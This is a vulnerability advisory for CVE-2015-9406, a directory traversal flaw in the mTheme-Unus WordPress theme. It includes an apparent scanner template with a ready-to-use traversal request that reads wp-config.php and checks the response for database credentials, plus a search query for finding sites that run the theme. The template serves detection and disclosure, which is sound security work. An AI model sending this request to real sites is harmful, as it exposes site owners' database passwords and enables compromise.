CVE-2015-9406: mTheme Unus < 2.3 - Directory Traversal

2025-08-01 mTheme Unus PoC Public

Description

The mTheme-Unus theme for WordPress, prior to version 2.3, contained a directory traversal flaw that let attackers access arbitrary files. This was possible by exploiting the files parameter in css/css.php with .. sequences.

PoC

id: CVE-2015-9406

info:
  name: mTheme Unus < 2.3 - Directory Traversal
  author: pussycat0x,dhiyaneshDk
  severity: high
  description: |
    The mTheme-Unus theme for WordPress, prior to version 2.3, contained a directory traversal flaw that let attackers access arbitrary files. This was possible by exploiting the files parameter in css/css.php with .. sequences.
  impact: |
    Attackers can read sensitive files including database credentials and configuration files, potentially leading to full site compromise.
  remediation: Upgrade to 2.3 or later version
  reference:
    - https://wpscan.com/vulnerability/d54b6b63-f280-412e-8c8f-17186727ac36/
    - https://wpscan.com/vulnerability/bc036ee3-9648-49db-ae52-3a58fdeb82eb/
    - https://wpvulndb.com/vulnerabilities/9890
    - https://packetstormsecurity.com/files/133778/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-9406
    cwe-id: CWE-22
    epss-score: 0.55008
    epss-percentile: 0.98973
    cpe: cpe:2.3:a:mtheme-unus_project:mtheme-unus:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: mtheme-unus_project
    product: mtheme-unus
    framework: wordpress
    fofa-query: 'body="wp-content/themes/mTheme-Unus/"'
  tags: cve,cve2015,wordpress,wp-theme,wp,wpscan,mtheme-unus,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a1d317afc9466edc23181e3f80c711ef23d2a1ea2a6aa7b5416b0f9fe65504d302204792c93fe0d19cc8af9f1236747bb453d29839344a9d88f35e016b13d3d689b7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities